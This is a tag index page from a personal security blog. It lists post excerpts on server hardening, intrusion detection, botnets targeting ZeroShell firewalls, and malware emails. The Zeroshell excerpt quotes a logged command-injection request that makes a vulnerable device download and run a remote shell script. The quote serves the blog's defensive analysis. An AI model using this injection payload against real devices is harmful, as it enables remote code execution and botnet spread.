tag: security

Block web scanners with ipset & iptables

8 Nov, 2022 - 5 minutes
Anybody who runs an internet-facing webserver has seen their fair share of spammy scanners in the logs. It varies server to server, but some of mine get up to 15,000 scans per day. Almost all of these are harmless network mappers, but they still annoy me. Many are compromised hosts or belong to hackers & organized crime rings. While it’s possible to create false positives, it’s probably safe to block all of these.

Protect your dangerously insecure redis server

22 May, 2022 - 4 minutes
If you’ve put Redis on the internet you’ve probably had your box hacked one way or another. Unfortunately, the service has very weak defaults with no authentication, encryption, or meaningful access control. While it’s true that redis is a back-end service that should only be used between servers, it’s often misused and abused. For example, there are about 40,000 redis instances indexed on, about half of which are not in protected mode.

Basic Linux server security with fail2ban, ossec, and firewall

8 Nov, 2021 - 5 minutes
There are lots of “very correct” ways to make your server “very secure.” Most of them rely on paid services, complicated agent-manager topologies, and cool buzzwords like “zero trust”. However, as they say, perfection is the enemy of progress. Many are discouraged by this absolutist approach to server safety, and forget the very basics. Obviously, the expensive and complex solutions exist for a reason, but at the same time a little goes a long way.

The Cursed Certificate

5 Apr, 2021 - 5 minutes
This is the story of the most awful SSL certificate I have ever made. This was done entirely for my own amusement, and for the minute possibility that I could make somebody I don’t like miserable. Now, why on earth would I want to do this? Well, I don’t particularly respect scanner people. Their scanners are annoying, their tools always suck, and they create tonnes of noise in my logs that I don’t like.

The Zeroshell botnet returns

2 Dec, 2020 - 3 minutes
Back in August, I discovered novel cyberattacks targeting network infrastructure. Now, four months later, another botnet is targeting these devices again. My original report is here: New attack The previous version of the zeroshell malware would leave logs with this pattern: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F99.99.99.99%2Fzero;sh%20zero;%22 Decoding the URL strings, we get: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O;sh zero;" This string causes the vulnerable system to download and execute a shell script named zero. However, the new attack takes on a different form:

Malware emails 2: Russian boogaloo

23 Oct, 2020 - 5 minutes
Today I got yet another malware email. They just won’t leave me alone. I suspect it has to do with the upcoming US election, based on all the CISA alerts I’ve seen over the last couple days. However, after going down the rabbit hole with this malware I do suspect that whatever is behind it is more sophisticated than a simple ransomware gang. I won’t speculate too much, but because of its highly distributed and evasive design it could be the work of a larger enterprise.

A New Botnet is Targeting Network Infrastructure

4 Aug, 2020 - 4 minutes
Starting a little less than two weeks ago, my IDS sensors have been detecting the spread of a new botnet. Unlike previous Mirai botnets, this appears to specifically target the GNU/Linux firewall distribution, “ZeroShell”. While it’s not especially dangerous as far as botnets are concerned, it does appear to be rather vigorous when it sends probes. However, we got lucky this time. Just as quickly it appeared, the C&C server went offline stopping the spread of this worm dead in its tracks.

Malware on the Wire: Monitoring Network Traffic with Suricata and ClamAV

19 Jun, 2020 - 6 minutes
In my endless quest to essentially create a Cisco Firepower firewall for poor people, I found a bit of a gap in the open source security ecosystem. While we have great tools for detecting malicious network traffic patterns, we don’t have easy ways of detecting malicious files in transit. So, a bit of fiddling around later, and I have a fairly basic system for integrating Suricata’s ‘filestore’ functionality with ClamAV’s real time scanning, thereby producing a log containing the source and destination addresses of any malicious files detected.

Cloud Threat Protection with OSSEC and Suricata

19 May, 2020 - 11 minutes
The idea of this setup is to protect the Small Systems as well as we protect the Big Systems. This solution uses a proven stack to protect webservers from modern threats. Using OSSEC, Suricata, and the built-in firewall capabilities of a modern Linux system it is possible to build a low maintenance and stable threat protection platform with relatively low performance impacts. It’s been specifically designed to be simple. The idea is that it will keep you on a ‘need to know basis’ and otherwise stay quiet and do it’s job.

Malware Emails From Jerks

9 Apr, 2020 - 5 minutes
Today, I got an email inquiring about a job opportunity. This was immediately pretty funny, since I don’t employ anybody including myself. Even better, the guy sent a Microsoft Excel file as the ‘resume’, so even if I was hiring… Sorry bud, not going to be you. Now normally I just delete these documents and report spam. But seeing as how I’m locked into my house and have nothing better to do right now, I figured I might as well have some fun with this.

Being Attacked by Bots

18 Feb, 2020 - 6 minutes
On the 19th of January 2020, a malicious actor launched an attack against my home infrastructure. At 42 minutes after midnight a device located in Buenos Aires, Argentina began attacking my proxy server. For the next six minutes, approximately 150 malicious HTTP requests were made. Fortunately, every single one of these requests was met with a HTTP/400 response, that’s because I don’t use Apache Struts 2 which this bot was attempting to exploit.

Linux Router, Firewall and IDS Appliance

14 Feb, 2020 - 10 minutes
Over the years, I’ve chewed through quite a few different routers, firewalls, even virtual appliances to connect my home network to the internet. Though most of these provided positive experiences, all of them had at least one point of friction, sometimes to the point of being a dealbreaker. PFSense is a great platform, but has terrible ethics. Sophos is proprietary and has an awful CLI. Untangle feels more like an ad than a product.

Stop Putting Your SSH Keys on Github!

4 Jul, 2019 - 3 minutes
Hot take: Stop putting your ssh keys on GitHub!!! For that matter, stop putting your keys in any kind of repository. Seriously, your private keys are private for a reason. Okay, let’s back up a little here. This morning some articles made their rounds about Cisco distributing network device firmware with keys and certs embedded in them. Now that happens all the time (ugh) but in this particular case, they were the keys of presumably a Huawei employee.

Stealing Windows Sessions

1 Feb, 2019 - 5 minutes
Editor’s note (2021-01): This particular hacking method no longer works after 2019-11 windows update. I had this article on ice for a very long time and feel confident that it won’t be abused at this time. Preface I feel like I shouldn’t have to say this, but please use your powers for good and not evil. The methods I’ll reveal here have quite impressive post-exploit abilities for lateral movement. If you’re thinking about getting arrested for something dumb, please don’t bring up my website at your trial.

FreeRadius Active Directory Integration

17 Dec, 2018 - 7 minutes
I don’t like Microsoft NPS. That’s not to say that it’s a very convenient server role, which it absolutely is, or that it doesn’t have a place, which it sort of does. It’s just that it’s almost always, in my own opinion, a better idea to go with another option. So what’s wrong with using NPS? Requires a full windows license. Personally, I have an aversion to throwing away money, even if it’s somebody else’s money.